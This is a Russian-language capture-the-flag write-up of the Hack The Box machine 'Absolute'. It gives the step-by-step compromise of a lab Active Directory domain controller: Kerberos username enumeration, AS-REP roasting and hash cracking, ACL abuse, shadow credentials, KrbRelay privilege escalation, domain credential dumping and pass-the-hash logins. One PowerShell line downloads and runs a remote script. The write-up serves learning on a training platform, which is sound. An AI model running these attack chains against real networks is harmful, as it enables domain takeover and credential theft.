Хакер - HTB Absolute. Атакуем Active Directory с повышением привилегий через KrbRelay
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Продвижение
- Пользователь svc_smb
- Пользователь m.lovegod
- Пользователь winrm_user
- Локальное повышение привилегий
В этом райтапе я покажу тебе множество приемов работы с Kerberos, начиная сканированием пользователей и заканчивая аутентификацией для доступа к разным службам. Завершим прохождение применением известной техники KrbRelayUp.
Наша цель — захват рута на тренировочной машине Absolute с площадки Hack The Box. Сложность прохождения оценена как «безумная». Тем интереснее оно будет!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.181 absolute.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер обнаружил много открытых портов, что типично для серверов с Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC), используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
Ни одна служба не позволила пройти аутентификацию от имени пользователя guest
, поэтому идем смотреть, что нам покажет веб‑сервер.
ТОЧКА ВХОДА
На сайте ничего интересного нет, но всегда стоит изучать метаданные всех приложенных файлов. На сайте нам доступны только картинки, берем любую из них (мне попалась под руку hero_5.jpg
), скачиваем и проверяем метаданные.
exiftool hero_5.jpg
В поле автора явно имя пользователя! Скачиваем все доступные картинки и извлекаем оттуда имена. Интересно, что они все разные.
exiftool hero_*.jpg | grep Author
Так как на сервере активна служба Kerberos, мы можем перебрать имена пользователей. Kerberos имеет три разных варианта ответа в случае неверной аутентификации:
- учетные данные неверны;
- нет такого пользователя;
- предварительная аутентификация не требуется.
При этом для каждого пользователя у нас есть имя и фамилия, поэтому я накидал простой скрипт, чтобы сгенерировать все возможные варианты имен учетных записей из представленных пар.
names = ["James Roberts", "Michael Chaffrey", "Donald Klay", "Sarah Osvald", "Jeffer Robinson", "Nicole Smith"]
list = ["Administrator", "Guest"]
for name in names:
n1, n2 = name.split(' ')
list.append(n1)
list.append(n1+n2)
list.append(n1+"."+n2)
list.append(n1+n2[0])
list.append(n1+"."+n2[0])
list.append(n2[0]+n1)
list.append(n2[0]+"."+n1)
list.append(n2)
list.append(n2+n1)
list.append(n2+"."+n1)
list.append(n2+n1[0])
list.append(n2+"."+n1[0])
list.append(n1[0]+n2)
list.append(n1[0]+"."+n2)
for n in list:
print(n)
А теперь выполняем перебор имен пользователей с помощью утилиты kerbrute.
./kerbrute_linux_amd64 userenum --dc absolute.htb -d absolute.htb test_users.txt
Получаем список из семи существующих учетных записей. Я уже говорил, что есть вариант, при котором для учетной записи не требуется предварительная аутентификация. Давай просканируем наших пользователей с применением техники ASRep Roasting. Она позволяет получить пользовательский билет, из которого перебором можно извлечь пароль пользователя. Выполним данную атаку с помощью скрипта GetNPUsers из набора impacket.
impacket-GetNPUsers absolute.htb/ -no-pass -usersfile users.txt
Чтобы перебрать хеш с помощью hashcat, нужно знать режим перебора. Его можно найти в справке hashcat.
hashcat --example | grep 'krb5asrep' -A2 -B12
Теперь указываем режим 18200 и перебираем полученный хеш.
hashcat -a 0 -m 18200 klay_hash.krb5asrep rockyou.txt
И получаем пароль пользователя D.Klay.
ПРОДВИЖЕНИЕ
Пользователь svc_smb
Проверим полученные учетные данные, попытавшись подключиться к службе SMB с помощью универсального средства CrackMapExec.
crackmapexec smb 10.10.11.181 -u D.Klay -p Darkmoonsky248girl
Ничего не вышло, так как не работает NTLM-аутентификация. Поэтому используем аутентификацию Kerberos, для чего выписываем тикет с помощью скрипта getTGT из набора impacket. Не забываем выставить одинаковое время на клиенте и сервере. Чтобы не делать это вручную, можно автоматически синхронизировать время с помощью net time
.
sudo timedatectl set-ntp false
sudo net time set -S 10.10.11.181
impacket-getTGT 'absolute.htb/D.Klay@absolute.htb:Darkmoonsky248girl'
А теперь повторим подключение к SMB с аутентификацией Kerberos.
export KRB5CCNAME=D.Klay@absolute.htb.ccache
cme smb 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb
И снова неудача, хотя в ответе видим, что эта служба не прописана в билете. Пробуем подключиться к LDAP.
cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb
Подключение успешное, и мы можем работать с LDAP. Первым делом запрашиваем всех пользователей. Это можно сделать, указав флаг --users
.
cme ldap 10.10.11.181 -u D.Klay -d absolute.htb -k --kdcHost dc.absolute.htb --users
В описании пользователя svc_smb
, скорее всего, записан пароль. Выписываем билет для этой учетки и пробуем авторизоваться на SMB.
impacket-getTGT 'absolute.htb/svc_smb@absolute.htb:AbsoluteSMBService123!'
export KRB5CCNAME=svc_smb@absolute.htb.ccache
impacket-smbclient svc_smb@dc.absolute.htb -k -no-pass
shares
Мы получили доступ к общему ресурсу домена.
Пользователь m.lovegod
Просматриваем доступный каталог Shared
и находим там два файла.
Нам интересен только исполняемый файл, поэтому скачиваем его командой get
. Как обычно, я просто запускаю файл в виртуалке, чтобы посмотреть хотя бы его вывод. После запуска никаких сообщений не появилось, но по сообщению файрвола стало понятно, что файл ломится в сеть. Открываем WireShark и заново запускаем файл.
Первым делом программа пытается резолвить имя контроллера домена. Добавим нашу запись из файла /etc/hosts
в аналогичный файл на Windows по такому пути:
C:\Windows\System32\drivers\etc\hosts
А в настройках сетевого адаптера (тип маршрутизации в настройках виртуальной машины должен быть NAT) указываем в качестве DNS-сервера удаленную машину. При повторном запуске программы видим подключение к серверу LDAP с аутентификацией.
Открываем пакет, где передаются учетные данные, и получаем еще одного пользователя.
Получаем билет для службы LDAP и проверяем подключение.
impacket-getTGT 'absolute.htb/m.lovegod@absolute.htb:AbsoluteLDAP2022!'
export KRB5CCNAME=m.lovegod@absolute.htb.ccache
cme ldap 10.10.11.181 -u m.lovegod -d absolute.htb -k --kdcHost dc.absolute.htb
Пользователь winrm_user
Итак, мы уперлись в тупик, но имеем доступ к LDAP, поэтому можем использовать BloodHound.
Справка: BloodHound
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# и для Linux — на Python.
Сперва соберем информацию с целевого хоста, благо это не займет много времени. В параметрах указываем учетные данные для подключения, адрес хоста и тип собираемой информацию — всю (параметр -c
, значение All
).
python3 bloodhound.py -c All -u m.lovegod -k -no-pass -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip
В логах видим, сколько доменов, лесов и компьютеров найдено, сколько пользователей и групп получено. В результате работы BloodHound в текущей директории появится несколько файлов. Для работы с ними нам нужно установить СУБД Neo4j и графическую оснастку BloodHound для построения графа связей.
sudo apt install neo4j bloodhound
Запустим установленную СУБД:
sudo neo4j console
После того как появится сообщение об успешном старте, зайдем на localhost:7474
через браузер. Нам сразу предложат установить пароль. Сделаем это, запустим BloodHound (команда bloodhound
в командной строке) и авторизуемся с только что установленным паролем. Откроется пустое окошко — закидываем в него полученные в результате работы bloodhound-python
файлы. А затем в поле поиска указываем группу доменных пользователей. BloodHound отобразит всех пользователей. Найдем среди них подконтрольных нам и пометим как Mark User as Owned. На их иконках должен будет появиться череп.
Затем пройдем в графу аналитики и попросим BloodHound найти путь продвижения к другим пользователям от уже взломанных (которых мы только пометили) — опция Shortest Path from Owned Principals. Так мы получим маршрут движения от пользователя m.lovegod.
Мы узнали, что подконтрольный пользователь m.lovegod — владелец группы NETWORK AUDIT
, члены которой, в свою очередь, имеют полные права на учетную запись пользователя WINRM_USER
. То есть атака будет разделена на два этапа: добавление пользователя в группу и получение учетных данных пользователя.
Эксплуатация права Owns на группу пользователей
Так как доступ к целевому пользователю имеют только члены группы NETWORK AUDIT
, добавим себя в нее. Для этого нам потребуются скрипты PowerView и ADModule. Импортируем их на своей машине с Windows.
. .\PowerView.ps1
iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1')
Import-ActiveDirectory
А теперь добавляем пользователя m.lovegod в целевую группу.
$SecPassword = ConvertTo-SecureString "AbsoluteLDAP2022!" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('ABSOLUTE.HTB\m.lovegod', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'Network Audit' -Rights all -DomainController dc.absolute.htb -principalidentity 'm.lovegod'
Add-ADPrincipalGroupMembership -Identity m.lovegod -MemberOf 'Network Audit' -Credential $Cred -Server dc.absolute.htb
Пользователь добавлен в группу, переходим ко второму этапу.
Эксплуатация права GenericWrite на учетную запись пользователя
Когда мы имеем право GenericWrite
на учетную запись пользователя, мы можем манипулировать его данными для аутентификации, к примеру сертификатом. С помощью скрипта pywhisker генерируем и добавляем пользователю сертификат.
python3 pywhisker.py -d absolute.htb -u 'm.lovegod' -k --no-pass -t 'winrm_user' --action 'add'
А теперь по сертификату получаем билет пользователя с помощью PKINITtools.
python3 ../PKINITtools/gettgtpkinit.py 'absolute.htb/winrm_user' -cert-pfx HDkBijzZ.pfx -pfx-pass '5HeYwjBLZtZBnbiOPONR' winrm_user.ccache
Добавляем целевой хост в файл /etc/krb5.conf
для авторизации с помощью Kerberos.
[libdefaults]
default_realm = ABSOLUTE.HTB
[realms]
ABSOLUTE.HTB = {
kdc = DC.ABSOLUTE.HTB
admin_server = ABSOLUTE.HTB
}
Экспортируем тикет и авторизуемся по WinRM.
export KRB5CCNAME=winrm_user.ccache
evil-winrm -i DC.ABSOLUTE.HTB -r ABSOLUTE.HTB
Наконец мы получили доступ к хосту. Переходим к повышению привилегий.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь пришло время провести разведку в локальной системе и собрать всю самую интересную информацию. Для просмотра системных конфигураций я использую тулзу Seatbelt с флагом -group=system
. Это помогло установить, что подпись LDAP необязательна.
Тут пришла идея выполнить атаку ретрансляции Kerberos, что приведет к повышению привилегий на хосте. Суть ретрансляции учетных данных в том, что атакующий может заставить пользователя пройти аутентификацию на одном ресурсе и использовать эту информацию для аутентификации на другом, не связанном ресурсе. Это позволит получить доступ от имени пользователя.
Для этой атаки потребуется также создать учетную запись машины. Ход атаки такой:
- Создаем учетную запись компьютера.
- Вызываем аутентификацию на локальной машине и ретранслируем ее на LDAP.
- Это дает право добавить RBCD и получить TGS-билет для локальной машины.
- С полученным TGS создаем службу на локальной машине.
По умолчанию каждый пользователь может создать до десяти учетных записей компьютеров. Проверим это значение:
ms-DS-MachineAccountQuota
Однако на этой машине нас ждет неудача: мы не можем создавать учетные записи компьютеров.
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
В этом случае придется использовать несколько другой сценарий:
- Вызываем аутентификацию на локальной машине и ретранслируем ее на LDAP.
- Добавляем для учетной записи локальной машины теневые учетные данные (атрибут
msDS-KeyCredentialLink
). - Используя теневые учетные данные, получаем TGT-билет для учетной записи локальной машины, что дает возможность получить TGS.
- С полученным TGS создаем службу на локальной машине.
На третьем шаге можно по TGT получить NTLM-хеш учетной записи локальной машины и сдампить все учетные данные с системы. Так и поступим, но сперва узнаем версию используемой операционной системы:
Get-ComputerInfo
Это Windows Server 2019 Standard 1809, поэтому используем вот такой CLSID:
90f18417-f0f1-484e-9d3c-59dceee5dbd8
Проводить атаку будем с помощью инструмента KrbRelay, но, поскольку запускать его нужно от имени пользователя m.lovegod
с доступом к LDAP, также используем RunasCs.
RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 "C:\Users\winrm_user\Documents\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid {90f18417-f0f1-484e-9d3c-59dceee5dbd8} -shadowcred"
Теперь, используя добавленный сертификат и пароль, получим TGT и NTLM-хеш пароля учетной записи с помощью Rubeus.
Rubeus.exe asktgt /user:DC$ /certificate:MIIJqAIBAz...66VAgIH0A== /password:"53d64ff7-3986-4609-97e6-5035c79fff8f" /getcredentials /show
С полученным хешем выполняем репликацию всех учетных данных домена.
impacket-secretsdump -hashes :A7864AB463177ACB9AEC553F18F42577 'dc$@absolute.htb'
С учеткой администратора подключаемся к хосту и забираем флаг.
evil-winrm -i absolute.htb -u Administrator -H 1f4a6093623653f6488d5aa24c75f2ea
Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei